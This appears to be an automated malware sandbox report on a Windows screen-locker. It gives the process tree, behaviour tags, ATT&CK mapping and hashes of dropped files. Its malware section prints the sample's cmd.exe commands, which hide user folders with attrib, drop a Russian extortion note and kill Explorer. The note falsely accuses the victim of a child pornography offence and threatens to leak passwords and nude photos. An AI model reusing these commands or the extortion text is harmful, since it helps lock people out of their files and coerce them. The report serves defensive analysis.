  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,7178550231099845113,94806928895858235,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:8
  2⤵
  PID:2604

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1704

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffa9ab1c728,0x7ffa9ab1c734,0x7ffa9ab1c740
  2⤵
  PID:2276
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1952,i,14843238819850020377,8756068944912088532,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2268 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1752,i,11542623235936989810,9736091005666662035,262144 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2092 /prefetch:2
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2444,i,7726009474462574159,8397530546219245178,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2456 /prefetch:8
  2⤵
  PID:4160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3200,i,8386404753527907883,15208270211840241624,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3216 /prefetch:1
  2⤵
  PID:3336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3300,i,4776946189841004957,18394677366046529185,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:3776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4348,i,17343755325888959592,8935607667213257890,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4364 /prefetch:2
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4748,i,4784113682810909644,5206371550648177720,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4880 /prefetch:1
  2⤵
  PID:4924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5556,i,11359430357813769105,9572641207987648293,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5560 /prefetch:8
  2⤵
  PID:3916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5760,i,16756261129178418458,13399666606772047199,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:5004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3400,i,11770138509800044936,16617593706321012319,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3340 /prefetch:1
  2⤵
  PID:376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3376,i,18230587170941288922,17449391993304090919,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:4712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5900,i,7714424879171390635,17799752000608260042,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:8
  2⤵
  PID:4892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5836,i,18061257903526622446,2368279327224160015,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5888 /prefetch:8
  2⤵
  PID:4064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4364,i,17628936768528443796,5135219893276855827,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4460 /prefetch:1
  2⤵
  PID:2804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6020,i,8931779064520379959,4300511261435128794,2097152 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5864 /prefetch:1
  2⤵
  PID:1080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6224,i,12337019328004014336,5887538207095114083,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6232 /prefetch:8
  2⤵
  - Modifies registry class
  PID:3744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=6248,i,12314182360134639815,6230112884008240802,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6260 /prefetch:8
  2⤵
  PID:3172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6476,i,18326312595217263272,12900095450584852906,524288 --field-trial-handle=2096,i,5704274342756968077,15768868232428145515,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6084 /prefetch:8
  2⤵
  PID:4844

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4464

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\aura.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4560

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1048

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap26054:190:7zEvent13453
1⤵
PID:3552

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3936
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3312
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4884
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4132
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4644
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4172
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2472
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4380
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:640
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4320
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:116
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1260
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1464
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  PID:1592

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" -startup
1⤵
- Executes dropped EXE
PID:724

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Executes dropped EXE
PID:4328

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --init
1⤵
- Executes dropped EXE
PID:4080

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" /setup
1⤵
- Executes dropped EXE
PID:4408

C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\Desktop\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --wininit
1⤵
- Executes dropped EXE
PID:4344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 788262e91467d9be1dd4e151fa3662e96cb263d05472d2cac4f8562298b4cd21
MD5 72631d33d2563968fef2548ca606d408
SHA1 ec3617d645b54f9df395bc6329ce5519f8a78ff2
SHA512 d908392dbb7e1f8f53662ea3d3e40897b822651c5fabdccde34f5f42a2b8a0c21454623fc8f7ec18817052ea0c0db873963737ec2c3453558cce576db0477756
TLSH
T11BE02BA5C932AC3B18F9171968A54746E741131B3A409C4F3B3D550D4FB573A4596C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 888B
SHA256 e83f83ab4b426abed7fdbb5c821b4b3d7bfddcf1c91b550ee27c83c9c8180aa6
MD5 57af50f80c4676e69bc088adf7ee5030
SHA1 a16e8992b690a41f3fae9226827c3f3b6af08ec8
SHA512 a9251967953abefcc53e25b17ba0127edd8d1be3541c2956c147be70de7a212de655dcb0d80fb8028638403e0e6d9368611a948891da09a1a1fb179ac6829c89
TLSH
T1CD1147C025465405EB159F3198CF8B5A101CC55E895E0E6D4628CDF45666FB5CDC89CD
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 f4370ac84d77fcf259109cf846b322134e64c51bde078d6c9e775885773f439a
MD5 87cf3912b36334322f5243c848d7332b
SHA1 6055532098db05762a84b02f0b58e734775067eb
SHA512 a23565565d42953067397dc203b89978dc69d397498fd042173c320f1323984aed036130f3d5413570aeebb0c96b6df238edeae4caac4caa4d3d49523062638d
SSDEEP 192:DYCtkVIPJwJEuPDuaaJXclPsuW2KoaPo0vXfPcVUJNP+CoDmWxj:DYCtkVIPJwJEuPDuaaJXclPsuW2Koag9
TLSH
T15102A0F7C7E8856DC91556F49725BF1FCE2A0A18432C3C1AC8D8AF4B93E2871D251A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 9KB
SHA256 267b8e6fc9d1e4f566dfc47c7520d97c8d742489f058ea77e3deaa631d858358
MD5 f1bd159637e8df576a9037f126d6e108
SHA1 641a2dd3c617fa436f591b65db6f2eb2a49e4918
SHA512 0042fb00da17b4a4fafd2f0908b21230579266a9737943c648b75e076674d46cde4d8162deba015ebe8e48f48919519cb909290404d7ac38e32dcf6014f8000f
SSDEEP 192:DYCtkVIPJwJEuPDmwaaJXclPsuW2KoaPo0vXfPBJNP2DRxPGeEPgJwYF:DYCtkVIPJwJEuPDmwaaJXclPsuW2KoaC
TLSH
T11622A1F7C7E8866DC91156F497256F1FCE2E0A29432C3C1AC8D4EE4BA3E2871D25164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 214a1d504aa93d7520bd3e1fdb0cf1c3aeb6541d1acfa9dcd393b336d596556f
MD5 aa368cf5ec541a058e4ea30a67f411dd
SHA1 03ac028b71ef223456af25e30c707cfd76029aa4
SHA512 ffa3e3f079e68ed75c8ebb96ea17b83c6368a225714198d719a7a5cbbda33732fe2b49192bd8a13cbdbbb4fdb281862f15a04da2f5c7cd6263ff47022e0c81a4
TLSH
T1BF31DEA3972FB453117F4D7B0D547C092EB9F83B055298F9EE9AC22C60415B74B0685B
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 926a4c83d988492b4eed7d525778a7e8a3cb4d2b94514063fa43c662b1166521
MD5 219bdd787be377d4397806ee53a377e3
SHA1 9ce17a20a2912deeb9e69dc79d6057252472b82b
SHA512 ab535dc85455e41ce1893328795ff431f908cb95baf417214d1e2ef4ccc97a3f323ee7e534252ccf910cfbd7dc5278803c9a9adbfbb062044ed71d35d2f306eb
SSDEEP 192:BReccBzBkXQSqv7MF+hAPRp2z489HHsb+WNnbs4e9Se2kfj2WgymaEcAVyIsnAU/:BRecmzBsmgo8X01wIdQe2k72JNaq8
TLSH
T1A852C52ABD2079775DCBC219FDA27B17D3F5102126D42E84EAFD892C25E76CC221B41B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 93bf368a1bf97055ffd2220af3ee5fd183799f68bd143b0a1aedd5af4d1aead1
MD5 df465a94eaac6c25522e974965eeaf92
SHA1 c93179b9905ac08a5266bb0a224ca1774d9572dc
SHA512 310c8e2f3aac3708627780b9676dae547a286eaf8b6415ce82e7e665c186d8ae0cc548ce7ba22724267c0903f9139143800df881bc2c09355b2297c4727f8ba5
SSDEEP 192:BReccBzBkXQSqv7bF+hAPRp2zL789HHsb+WNiqbsZNi+e9Se2+j2WgymaEcE8yI6:BRecmzBsm3o8XJ1wSaDQe2g2JNaNe
TLSH
T19352D72AB9202D775DCBC219FDA27B17D3F5102226D42E84EAFD8D2C25E76CD221741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 14KB
SHA256 5a42cf63d358ddbe6e668ea87e2a9ea7f4cbc395e0a00a4b860aec6b9517734c
MD5 fa11b2bac9ecd954144182c470e212e8
SHA1 a21118c86d9fd4891e6439aba3636ca94ff3bf12
SHA512 f477a8f4a19de4fb87898cb7db24dc5a0edd8ded7c5c0e8836c1f85be87364b522af9723e6fea495cb7fecf3ec54119b8289016b12cf81fe3ed2bf6d88bc7821
SSDEEP 192:BReccBzxkXQSqv7bF+hDPRpRzLN89HHsb+WNhZqbsZgNMe9Se2ej2WgymaEceSyr:BRecmzxsm3oJXE1wzahQe2A2JNaBe
TLSH
T13462C61AA9202D779CDBC219FDA67F17D3F5202126D42E44EAFC8D2C25E76CD221741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 34d3b150d9ebc3413240a436dcd8cc4d2da0e46d00a681d2118263aea9d32f3e
MD5 73285efb9f7ee0bd384426865ccccf8e
SHA1 51903f2b7a36fa90857257254c2bebdfe5da7eef
SHA512 e9bab3e8a04453bd7ca516137298f57170d38058ccd5df170108532fdb6eefb2d5ae94de47967a5242cb07be597050bef4f69d7f740877c626e131f01424e28d
SSDEEP 384:TRjPq7KxkXqKf/pUZNCgVLH2HfgslT37pLuLcSjFgXODPO+ErU3voHGjBm2oR0h9:TxPq7KxkXqKf/pUZNCgVLH2HfgsV37pM
TLSH
T1287219676C4C8E7B0F94CACCDC167F4F9DB5025B65EA886482FA582903D5ADF01061FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 08b2967bffae0e84e9202a6907cc2d22dd15090a73c28297eaabf0b04d359117
MD5 0a11ce10a90d7094e1b5c45020e27617
SHA1 664ed1ec21013c6eee6f9aca4fac067f98cd6a82
SHA512 12d6b3b18c69dbb22dd58c28e40f3e51384fb52d7962cd020569b108f7c45c17f84a763d3ac3a1b9e1faae60b51f2eac1e3d01c2b05c449080633127a939b978
TLSH
T1C1B01200C0415102C04603B01246148C75589F10964B170653E0AD23DC251A1802D051
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58917d.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58917d.TMP
Size 96B
SHA256 bce8c0dd1b068a54da2b90b84181777779e27a40d40b67fd85e181db175beba8
MD5 5f8c82a5ef07e51517efd7cb46c44670
SHA1 a33fb283277ba30bb72002cf6876534289c37893
SHA512 3aaad26966efaebd7cc92e5ec212d5f868c582edd70095bfc3f26053d443e6593112cf4216e2cb67842072f186e7ec0e72aebaf5f064cd585f4db003c7a0b795
TLSH
T1AEB02208C0B23202C00203F02280C3C832A0EF20C203022A82E28F33CC202B300280A0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 72B
SHA256 1d8f9a42bdd546eadab85385a2830d6a9bc17b7068f71578b7bb9fcff3d88625
MD5 d1e905e7b6b3dfeaab54f35b37d366d5
SHA1 a6af7fbb790c32ea8f32a6552e2e5d7f48afeca7
SHA512 4d3bfc7eeac62ed3eef18a2ad4bb0de0958789fab06c49fa9f3e2912e256465c1f4ec41dbde8995d33140862d9f6402635084bf4540efc08d8c80c4b18cbc19f
TLSH
T140A002D105940752C1051770A6864BC82B51FA6403474F6A9AD449449C60193DE55744
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\3\CacheStorage\index.txt
Size 88B
SHA256 7702052bd95d25ac7a71c899e9a990faf0d505f5eab07a8c057ee45f1d5497df
MD5 f73d22b9b1e3d8a2b912446db29ee595
SHA1 5e0ee42e03131ff29631c1466cca72daf1d35b87
SHA512 a7ee4666e264080246e33bea78d5b4ef012669a02d2ec8eb3f5ec512cb84f5831ffb7d0c9f135fdc672dc5bf034cf847e35374b9c599c6ee4f847b94bc84f0e4
TLSH
T1E1B002BF044155F25EA134F7400531DDC43332D85D90DB5C8475605436104BE5106D38
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe590ab4.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\3\CacheStorage\index.txt~RFe590ab4.TMP
Size 175B
SHA256 9de653c3c9841f70ab424f2cf72371ced82497d5386ed7ce21bc017aa77420b2
MD5 e11eb9bb20e6dd3c94878df651d27750
SHA1 ee4993b1ce10a20856025bc13ad12cb82f6e6692
SHA512 a19c11c4c4785174c501e3a8bbc84f020980076869319428868512245cd05d3c948054de6f6c439abe72493d6376f8ddac7972755c5590e4cbca104fcb20dedf
TLSH
